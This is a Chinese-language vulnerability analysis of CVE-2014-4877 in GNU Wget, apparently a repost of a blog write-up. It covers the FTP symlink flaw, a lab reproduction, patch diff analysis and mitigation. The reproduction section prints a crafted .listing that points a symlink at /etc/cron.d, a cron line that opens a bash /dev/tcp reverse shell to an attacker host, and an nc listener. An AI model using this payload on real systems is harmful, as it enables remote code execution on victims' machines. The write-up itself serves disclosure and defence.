CVE-2014-4877 wget: FTP Symlink Arbitrary Filesystem Access
目錄
1. 漏洞基本描述 2. 漏洞帶來的影響 3. 漏洞攻擊場景重現 4. 漏洞的利用場景 5. 漏洞原理分析 6. 漏洞修復方案 7. 攻防思考?
1. 漏洞基本描述
0x1: Wget簡介
wget是一個從網絡上自動下載文件的自由工具,支持通過HTTP、HTTPS、FTP三個最常見的TCP/IP協議下載,并可以使用HTTP代理。wget名稱的由來是"World Wide Web"與"get"的結合
"遞歸下載"是wget提供的一個特性,我們平時使用瀏覽器進行網頁瀏覽的時候,瀏覽器就是在進行遞歸下載,將我們輸入的一個URL鏈接,已經它其中附帶的CSS、IMG、HTML HREF等鏈接也一并下載下來并進行渲染
http://www.gnu.org/software/wget/manual/wget.html#Recursive-Download0x2: 漏洞描述
Absolute path traversal vulnerability in GNU Wget before 1.16, when recursion is enabled, allows remote FTP servers to write to arbitrary files, and consequently execute arbitrary code, via a LIST response that references the same filename within two entries, one of which indicates that the filename is for a symlink.嚴格上來說,這是GNU Wget的代碼上和符號鏈接處理相關代碼的的一個bug
A flaw was found in the way Wget handled symbolic links. A malicious FTP server could allow Wget running in the mirror mode (using the '-m' command line option) to write an arbitrary file to a location writable to by the user running Wget, possibly leading to code execution. (CVE-2014-4877)攻擊者通過操縱ftp服務器可以在wget用戶端環境創建任意的文件、目錄以及鏈接。通過符號鏈接攻擊,攻擊者以wget的運行權限訪問客戶端整個文件系統,覆蓋文件內容(包括二進制文件)。這個漏洞還能通過系統的cron設置或用戶級別的(bash profile, SSH authorized_keys)設置觸發遠程代碼執行
0x3: 漏洞原理
wget < 1.16,retr-symlinks 缺省設置為off/no,當客戶端wget在遞歸下載ftp服務器上的目錄時,如果存在符號鏈接文件,該鏈接文件不會被下載,而是在客戶端本地創建一個指向同樣位置的符號鏈接。同時鏈接指向的文件不會下載,除非該文件位于遞歸下載的遍歷目錄下
Relevant Link:
https://access.redhat.com/security/cve/CVE-2014-4877 http://thehackernews.com/2014/10/cve-2014-4877-wget-ftp-symlink-attack.html https://bugzilla.redhat.com/show_bug.cgi?id=1139181 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4877 https://rhn.redhat.com/errata/RHSA-2014-1764.html?
2. 漏洞帶來的影響
0x1: 黑客的攻擊向量
1. Access Vector: Network exploitable 2. Access Complexity: Medium 3. Authentication: Not required to exploit 4. Impact Type: 1) Allows unauthorized disclosure of information2) Allows unauthorized modification3) Allows disruption of service0x2: 漏洞影響的軟件/代碼庫版本范圍
1. gnu:wget:1.13 2. gnu:wget:1.13.4 3. gnu:wget:1.13.3 4. gnu:wget:1.13.2 5. gnu:wget:1.13.1 6. gnu:wget:1.12 7. gnu:wget:1.14 8. gnu:wget:1.15 and previous versionsRelevant Link:
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4877?
3. 漏洞攻擊場景重現
0x1: vsftpd環境搭建
1. 安裝vsftpd yum install vsftpd2. 配置防火墻: 將FTP所使用端口開放出去 vim /etc/sysconfig/iptables 在REJECT行之前添加如下代碼 -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT service iptables restart3. 下面是添加ftpuser用戶,設置根目錄為/home/wwwroot/ftpuser,禁止此用戶登錄SSH的權限,并限制其訪問其它目錄 vim /etc/vsftpd/vsftpd.conf chroot_list_enable=YES # (default follows) chroot_list_file=/etc/vsftpd/chroot_listuseradd -d /home/wwwroot/ftpuser -g ftp -s /sbin/nologin ftpuser passwd ftpuser 111vim /etc/vsftpd/chroot_list admin test4. 配置PASV模式 vsftpd默認沒有開啟PASV模式,現在FTP只能通過PORT模式連接,要開啟PASV默認需要通過下面的配置 vim /etc/vsftpd/vsftpd.conf 在末尾添加 pasv_enable=YES pasv_min_port=40000 pasv_max_port=40080 pasv_promiscuous=YES5. 設置Selinux setsebool -P ftp_home_dir=1 setsebool -P allow_ftpd_full_access=1 6. 重新啟動vsftpd service vsftpd restart或者直接使用vsftpd官方提供的SHELL腳本進行自動化部署
1. Installation yum -y install vsftpd db4-utils2. Configuration http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users?action=AttachFile&do=get&target=vsftpd_virtual_config.sh 根據提示添加用戶名、密碼 admin 111 http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users?action=AttachFile&do=get&target=vsftpd_virtualuser_add.sh3. 配置指定目錄的權限 cd /var/ftp/virtual_users chmod 755 adminRelevant Link:
http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users https://www.centos.bz/2011/03/centos-install-vsftpd-ftp-server/ http://www.cnblogs.com/xiongpq/p/3384759.html在實驗重現這個CVE漏洞之前,我們需要對這個漏洞的攻擊場景做一個梳理
0x2: 軟鏈接(符號鏈接)下載漏洞POC
服務端構造軟鏈接
在另一臺linux機器上繼續實驗,查看客戶端wget版本,確認存在本次wget漏洞
客戶端以遞歸模式向服務端發起對這個符號鏈接文件的下載請求
wget ftp://192.168.207.128/pub/steal -r查看剛才下載的文件
cd 192.168.207.128/pub/ ll cat steal可以看到,下載的軟鏈接指向了本地的/etc/passwd,不是服務端的/etc/passwd
正常的邏輯來說,客戶端下載服務端的一個指向/etc/passwd的軟鏈接,最后下載的也應該是服務端的/etc/passwd,但是因為wget的這個bug,導致客戶端并沒有下載服務端軟鏈接指向的文件,而是在本地建立了一個相同的軟鏈接,指向了本地的相應文件。也就是說這次攻擊的payload是服務端的那個軟鏈接,從某種程序上來說,服務端通過payload,"強制"使客戶端"創建"了任意文件(通過軟鏈接的任意指向)
0x3: 利用wget漏洞進行RCE(Remote Code Execute 遠程代碼執行)
0x2 POC展示了wget存在的這個code bug,而如何將這個bug轉化為一次攻擊,我們需要更多的步驟
在服務端構造一個指向任意位置的軟鏈接
cd /var/ftp/pub ln -s /etc/cron.d/ steal ll在軟鏈接指向的目錄下放置執行反連shell的定時任務cronshell
cd /etc/cron.d/ cat>cronshell <<EOD PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin * * * * * root bash -c '0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112'; rm -f /etc/cron.d/cronshell EOD為了達到RCE的目的,需要在軟鏈接同一個目錄下,構造一個和軟鏈接文件同名的目錄項,并在該目錄下放置cronshell
需要明白的是,這件事從文件磁盤的角度來看,在Linux下是做不到的,因為Linux下所有的目錄、設備、文件都被抽象成了文件,因此不允許在同一個節點下有2個同名的文件,但這里我們要實現的只是"欺騙"wget client在執行"list -a"指令的時候,返回一個"一個和鏈接文件同名的目錄項"這樣一個假象
# cat .listing total 155 lrwxrwxrwx 1 root root 33 Feb 7 2013 steal -> /etc/cron.d drwxrwxr-x 15 root root 4096 Feb 7 2013 steal服務端需要在指定的端口進行監聽,等到客戶端肉雞的連接
nc -n -vv -l -p 4444至此,覆蓋修改客戶端的目的已達到,以下是進一步在客戶端觸發遠程代碼執行,如反向shell連接
客戶端執行一個很正常的ftp wget下載動作,但是卻被動的向黑客所在服務器發起了reverse shell connect
wget –m ftp://192.168.207.128:21/pub這里沒有截圖的原因也是因為這是一種概念演示,其中的關鍵一步:向客戶端的"list -a"命令返回一個特定構造的數據包需要特定構造的FTP Server才能實現,接下來我們用metersploit msf來真正的模擬這種攻擊
0x4: 利用wget漏洞進行RCE Based On MSF
客戶端僅僅執行了一個下載文件wget操作,卻被強制進行了RCE,導致被GETSHELL
這種RCE的攻擊原理可以大致按如下理解
1. wget的這個配置漏洞wget在本地創建了一個指向/etc/cron.d/的符號鏈接 2. 又由于wget沒有做好multiple file的合法性檢測,導致它接受了ftp server返回的兩個同名的steal文件,一個是指向/etc/cron.d的符號鏈接,另一個是其中包含reverse shell腳本的同名的目錄文件 3. 這個同名文件的沖突導致的結果就是,當前系統被錯誤的"欺騙"為自己的/etc/cron.d就是ftp server返回的那個其中包含有reverse shell的目錄 4. /etc/cron.d代表著crontab定時器的執行目錄,隨后,系統按照ftp server指定的/etc/cron.d中的reverse shell進行指令執行,最終導致getshellRelevant Link:
https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access http://www.oschina.net/news/56518/wget-cve-2014-4877 http://bobao.360.cn/learning/detail/66.html?
4. 漏洞的利用場景
每種漏洞都有其對應的攻擊場景,對于CVE-2014-4877來說,攻擊場景由server、client共同組成
1. server FTP1) 黑客可以在自己的服務器上假設ftp,然后通過APT方式引誘受害者訪問指定的ftp wget download url2) 黑客可以通過直接攻擊一些流量較大的ftp下載站,替換掉原來正常提供下載的某些程序,從而讓受害者在不知不覺中被GETSHELL2. client wget 對于客戶端的要求就是wget要存在這個CVE漏洞?
5. 漏洞原理分析
下載wget-1.12源代碼進行分析
http://git.savannah.gnu.org/cgit/wget.git/snapshot/wget-1.16.tar.gz通過patch diff,我們可以發現patch代碼的主要patch point為
1. \wget-1.12\doc\ChangeLog
2014-09-08 Darshit Shah <darnir@gmail.com>* wget.texi (symbolic links): Update documentation of retr-symlinks toreflect the new default. Add warning about potential security issues with--retr-symlinks=yes.2. \wget-1.12\doc\wget.texi
By default, when retrieving @sc{ftp} directories recursively and a symbolic link is encountered, the symbolic link is traversed and the pointed-to files are retrieved. Currently, Wget does not traverse symbolic links to directories to download them recursively, though this feature may be added in the future.When @samp{--retr-symlinks=no} is specified, the linked-to file is not downloaded. Instead, a matching symbolic link is created on the local filesystem. The pointed-to file will not be retrieved unless this recursive retrieval would have encountered it separately and downloaded it anyway. This option poses a security risk where a malicious FTP Server may cause Wget to write to files outside of the intended directories through a specially crafted @sc{.listing} file.3. \wget-1.12\src\ChangeLog
2014-09-08 Darshit Shah <darnir@gmail.com>* init.c (defaults): Set retr-symlinks to true by default. This changes adefault setting of wget. Fixes security bug CVE-2014-48774. \wget-1.12\src\init.c
5. \wget-1.12\src\ChangeLog
2014-09-08 Darshit Shah <darnir@gmail.com>* ftp.c (ftp_retrieve_glob): Also check for invalid entries along withharmful filenames(is_valid_entry): New function. Check if the provided node is a valid entryin a listing file.6. \wget-1.12\src\ftp.c
增加一個is_invalid_entry()函數
/* Test if the file node is invalid. This can occur due to malformed or* maliciously crafted listing files being returned by the server.** Currently, this function only tests if there are multiple entries in the* listing file by the same name. However this function can be expanded as more* such illegal listing formats are discovered. */ static bool is_invalid_entry (struct fileinfo *f) {struct fileinfo *cur;cur = f;char *f_name = f->name;/* If the node we're currently checking has a duplicate later, we eliminate* the current node and leave the next one intact. */while (cur->next){cur = cur->next;if (strcmp(f_name, cur->name) == 0)return true;}return false; }在對ftp server返回的.listing進行處理的時候,使用is_invalid_entry()進行檢查
/* A near-top-level function to retrieve the files in a directory.The function calls ftp_get_listing, to get a linked list of files.Then it weeds out the file names that do not match the pattern.ftp_retrieve_list is called with this updated list as an argument.If the argument ACTION is GLOB_GETONE, just download the file (butfirst get the listing, so that the time-stamp is heeded); if it'sGLOB_GLOBALL, use globbing; if it's GLOB_GETALL, download the wholedirectory. */ static uerr_t ftp_retrieve_glob (struct url *u, ccon *con, int action) {struct fileinfo *f, *start;uerr_t res;con->cmd |= LEAVE_PENDING;res = ftp_get_listing (u, con, &start);if (res != RETROK)return res;/* First: weed out that do not conform the global rules given inopt.accepts and opt.rejects. */if (opt.accepts || opt.rejects){f = start;while (f){if (f->type != FT_DIRECTORY && !acceptable (f->name)){logprintf (LOG_VERBOSE, _("Rejecting %s.\n"),quote (f->name));f = delelement (f, &start);}elsef = f->next;}}/* Remove all files with possible harmful names or invalid entries. */f = start;while (f){/*這里增加了is_invalid_entry()對ftp server返回的.listing進行了強制檢查*/if (has_insecure_name_p (f->name) || is_invalid_entry (f)){logprintf (LOG_VERBOSE, _("Rejecting %s.\n"),quote (f->name));f = delelement (f, &start);}......對patch代碼的原理進行一個總結
1. wget的這個symbolic recursively file download是wget的一個功能的開關,是一個程序設計上的邏輯問題 2. 在老的存在漏洞的wget上,默認"--retr-symlinks=no",即當wget客戶端需要遞歸下載一個符號鏈接文件的時候,wget客戶端并不會去真正下載這個符號鏈接對應的文件,而是在本地創建一個同名的、指向相同節點的符號鏈接 3. 而patch code、修復后的新版本所做的事情,就是將"--retr-symlinks=yes"設為默認值,即當wget客戶端需要遞歸下載一個符號鏈接文件的時候,wget會去下載這個符號鏈接所指向的真正的文件,而不是在本地創建符號鏈接 4. 增加了is_invalid_entry()對ftp server返回的.listing進行了強制檢查,防止出現重名的文件的現象官方的git commit
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7
CVE-2014-4877: Arbitrary Symlink Access
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=69c45cba4382fcaabe3d86876bd5463dc34f442c
Add checks for valid listing file in FTP
Relevant Link:
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7 http://git.savannah.gnu.org/cgit/wget.git/commit/?id=69c45cba4382fcaabe3d86876bd5463dc34f442c http://git.savannah.gnu.org/cgit/wget.git/ http://lists.gnu.org/archive/html/bug-wget/2014-10/msg00150.html https://bugzilla.redhat.com/show_bug.cgi?id=1139181 https://bugzilla.redhat.com/attachment.cgi?id=935576?
6. 漏洞修復方案
wget的這個CVE的修復是一種配置項的修改,所以我們可以使用以下2種方法達到patch的目的
0x1: 配置加固
在wget客戶端進行配置加固
vim /etc/wgetrc or vim ~/.wgetrc//在最后增加一行 retr-symlinks=on在wget客戶端進行程序升級
0x2: 更新程序
升級至1.16 ftp://ftp.gnu.org/gnu/wget/wget-1.16.tar.gz?
7. 攻防思考
Linux上的基礎軟件、代碼庫需要進行一次代碼安全檢測
?
Copyright (c) 2014 LittleHann All rights reserved
?
轉載于:https://www.cnblogs.com/LittleHann/p/4101775.html
總結
以上是生活随笔為你收集整理的CVE-2014-4877 wget: FTP Symlink Arbitrary Filesystem Access的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: AMD没吹牛 RX 7000显卡能效够N
- 下一篇: BZOJ3236 [Ahoi2013]作